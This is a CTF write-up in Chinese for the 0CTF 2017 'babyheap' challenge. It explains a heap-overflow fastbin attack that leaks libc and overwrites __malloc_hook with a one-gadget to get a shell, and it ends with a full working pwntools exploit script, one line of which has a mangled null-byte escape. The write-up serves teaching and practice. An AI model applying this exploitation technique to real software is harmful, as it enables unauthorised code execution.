zoukankan      html  css  js  c++  java
  • 0ctf2017-babyheap调试记录fastbin-attack

    查看文件类型和保护开启情况,发现全保护开启,一般为堆溢出,无法改写got表,思路一般往malloc_hook转变。

     

    运行程序观察执行大概流程。经典的菜单题目。

     

    Allocate操作,输入分配字节大小以及标记。

     

    Fill操作,输入分配的块号以及分配大小和填充内容。

     

    Free操作,输入删除的块号进行删除。

     

    Dump操作,输入需要处理的块号,打印出块的内容。

     

    放入ida中,观察alloc功能函数发现,使用calloc函数进行内存分配,其特点为每次分配都会清空缓冲区。申请的块最大不超过4096字节。有结构体保存分配标记、分配大小以及分配地址。

     

    Fill函数功能为进行内容填充,但是此处输入的长度由自己设置且和申请时长度设置无关,导致堆溢出。

     

    Free函数首先根据块标记判断是否被释放,然后将释放标记置0,长度置0,指针置NULL,不存在UAF。

     

    Dump函数主要打印堆块内容,无漏洞利用。

     

    Leak libc_base

    首先思路是要泄漏libc的基地址,本题漏洞在于存在一个堆溢出漏洞,可以越界写。又关注到当内存中只有一个small chunk或large chunk时,其内存指向libc上某处地址,然后我们就可以讲其打印出来,在经过计算就可以获得libc的基地址。

    我们知道,fast chunk释放后会加入fast bin中,且fast bin使用后入先出规则,即当第一块fast chunk释放后,在.data数据段上的fast bin会在相应的index位中放入它的地址(不是返回给用户的地址,是实际地址),然后如果释放第二块fast chunk(假设大小一样),此时fast chunk会被放入fast bin相应的index位中,并且后释放的fast chunk在其fd位置会放入前一个释放的fast bin块的地址(实际地址)(fast bin为单链表,由fd指针连接)。我们可以利用fast chunk申请和释放的特点通过堆溢出修改后释放的fast chunk的fd指针所保存的地址,从而实现连续两次释放fast chunk,然后堆溢出修改保存的fd处的地址,再通过连续两次malloc(第一次将后释放的fast chunk申请出来,第二次将后释放的fast chunk的fd指针处保存的地址处的fast chunk申请出来)就可以拿到某个堆块的控制权(本题通过修改为small chunk的地址获得其控制权)。

     

    但是要注意,fast chunk在malloc时有安全检查,即为判断chunk size与fastbin_index是否匹配。其中index计算方式为:(chunk size) >> (SIZE_SZ == 8 ? 4 : 3) – 2,在64位平台上SIZE_SZ为8。我们只要在申请前通过堆溢出将原本的small chunk的size字段修改为fast chunk的大小即可。由于我们之前申请了4个0x10大小的fast chunk,一个0x80大小的small chunk,因此small chunk的大小需要修改为0x21。

     

    由于上图从0块开始覆盖,注意第一个0x21覆盖的是1块的大小,第二个0x21覆盖的是第2块的大小。由于之前释放的是1和2块,因此我们还需要将第2块的fd指针的最后一个字节修改(fd的低字节紧接在size字段后面,p8即表示一个字节数据)。

     

    上图修改了第3块即small chunk前一块开始覆盖到small chunk的size字段,以绕过malloc检查。

     

    这时候执行2此alloc即可在第一次获得原来第2块的地址,而第二次即可拿到small chunk地址的控制权。

     

    上图首先需要将之前修改的small chunk的值修改回来,其次需要注意,如果当内存中只有一个small chunk时且该small chunk处在申请空间的内存最高位,那么释放改small chunk后fd并不会指向libc的某处。因此此处先alloc一个small chunk(这个chunk没有实际用处,只是为了释放原先small chunk时能够使原先small chunk的fd指针指向libc地址)。

     

    这时候我们就可以dump出fd所指向的值(由于下标为4的chunk已经被释放,而下标为2的chunk通过修改地址方法分配到了原先下标为4即small chunk的地址),其中0x3c4b78为main_arena+x的地址,减去它即得到libc基地址(在fastbin为空时,unsortbin的fd和bk指向自身main_arena)。

     

    这里提一下如何找到main_arena地址,我们只要在libc的导出表中搜索malloc_trim函数,然后跳到函数伪c表示即可看到上图的地址,这就是main_arena的地址。

    但是small chunk所泄漏出来的是main_arena+x地址,我们有个巧妙的办法可以获得真实的偏移,我们双击上图的main_arena地址处,会发下如下图所示,然后我们只要往下找,发现的第一个dword值即为真实偏移(从unk_3C4B28开始)

     

     

    可见,真实偏移值为0x3c4b78。(做了几个类似题目,这样找都没错,算是取巧吧)。其实从实验来看,small chunk所泄漏的libc地址实际上为top chunk地址,而这个地址距离main_arena的偏移是不变的(我猜的,因为暂时没遇到变的情况),其值为0x58,而malloc_hook到main_arena的距离为0x10。有了上述数据就可以计算出libc的实际地址。

     

     

    执行execve("/bin/sh")

    我们成功泄漏libc基地址后,我们下一步要做的是想办法执行execve("/bin/sh")。这里需要了解malloc_hook的作用,它在main_arena前0x10字节处。当调用malloc时如果该指针不为空就执行它指向的函数,因此我们可以写malloc_hook来get shell。

       

    我们可以看到main_arena-0x10处即为malloc_hook指针所在地址,但是乍一看该指针前面空间貌似没有可以malloc的内存空间,这里仔细看的话可以看到一个0x60,我们重新查询,通过构造一个偏移来看看

     

    我们以上述地址即可构造一个满足malloc检查的fast chunk。

     

    我们先重新申请一个0x60大小的fast chunk,然后将它释放掉,接着通过下标2的堆块(实际控制初始的small chunk)修改fd的值为之前0x60的地址(libc_base+0x3c4b20-0x40+0xd)。我们现在申请一个0x60大小的fast chunk,会将之前释放的fast chunk申请回来(即通过堆块2修改过fd的fast chunk),此时fast chunk的fd值处的地址会放入fast bin中,这时候在申请一个0x60大小的堆块即可获得malloc_hook写的权限,此时我们构造payload将其覆盖为get shell函数的地址即可,注意偏移。

     

    关于这个payload的构造,首先看下图,我们申请的地址为0x7fef6f717aed,这个地址是包含chunk head的地址,实际分配给我们的地址从+0x10处开始。我们又知道malloc_hook地址从0x7f0ed67f9b10处开始,由下图我们可以计算出,我们需要填充16+3个字节,即上述payload所写的p8(0)*3即为下图高亮的3个字节,p64(0)*2即为上一行的16个字节,填充完即紧接着覆盖malloc_hook为one gadget所找到的地址。

     

     

    我们这里使用第二个gadget,因为别的不管用,哈哈哈哈哈。

    完整exp如下:

     1 #!/usr/bin/env python
     2  
     3 from pwn import *
     4 import sys
     5  
     6 context.log_level = "debug"
     7  
     8 elf = "./0ctfbabyheap"
     9 ENV = {"LD_PRELOAD":"/lib/x86_64-linux-gnu/libc.so.6"}
    10  
    11 p = process(elf)
    12  
    13 def alloc(size):
    14     p.recvuntil("Command: ")
    15     p.sendline("1")
    16     p.recvuntil("Size: ")
    17     p.sendline(str(size))
    18  
    19 def fill(idx, content):
    20     p.recvuntil("Command: ")
    21     p.sendline("2")
    22     p.recvuntil("Index: ")
    23     p.sendline(str(idx))
    24     p.recvuntil("Size: ")
    25     p.sendline(str(len(content)))
    26     p.recvuntil("Content: ")
    27     p.send(content)
    28  
    29 def free(idx):
    30     p.recvuntil("Command: ")
    31     p.sendline("3")
    32     p.recvuntil("Index: ")
    33     p.sendline(str(idx))
    34  
    35 def dump(idx):
    36     p.recvuntil("Command: ")
    37     p.sendline("4")
    38     p.recvuntil("Index: ")
    39     p.sendline(str(idx))
    40     p.recvline()
    41     return p.recvline()
    42  
    43 #gdb.attach(p) 
    44 alloc(0x10)
    45 alloc(0x10)
    46 alloc(0x10)
    47 alloc(0x10)
    48 alloc(0x80)
    49 
    50 free(1)
    51 free(2)
    52 
    53 payload = p64(0)*3
    54 payload += p64(0x21)
    55 payload += p64(0)*3
    56 payload += p64(0x21)
    57 payload += p8(0x80)
    58 fill(0, payload)
    59  
    60 payload = p64(0)*3
    61 payload += p64(0x21)
    62 fill(3, payload)
    63  
    64 alloc(0x10)
    65 alloc(0x10)
    66  
    67 payload = p64(0)*3
    68 payload += p64(0x91)
    69 fill(3, payload)
    70 alloc(0x80)
    71 free(4)
    72  
    73 libc_base = u64(dump(2)[:8].strip().ljust(8, "x00"))-0x3c4b78
    74 log.info("libc_base: "+hex(libc_base))
    75  
    76 alloc(0x60)
    77 free(4)
    78  
    79 payload = p64(libc_base+0x3c4aed)
    80 fill(2, payload)
    81 
    82 gdb.attach(p)
    83 alloc(0x60)
    84 alloc(0x60)
    85  
    86 payload = p8(0)*3
    87 payload += p64(0)*2
    88 payload += p64(libc_base+0x4526a)
    89 fill(6, payload)
    90  
    91 alloc(255)
    92  
    93 p.interactive()

    参考:https://bbs.pediy.com/thread-223461.htm

  • 相关阅读:
    VestaCP中国用户遭到大量DDOS攻击
    ZooKeeper设置ACL权限控制
    linux rsync 指定用户名和密码的方式同步
    关于Apache HTTPD 2.2.15的部分漏洞修复建议
    AutoMapper官方文档(二)【升级指南】
    openssl升级
    MongoDB如何无缝版本升级
    mysql在线升级更新步骤
    手动升级kubernetes集群
    更新Docker容器
  • 原文地址:https://www.cnblogs.com/xingzherufeng/p/9844873.html
Copyright © 2011-2022 走看看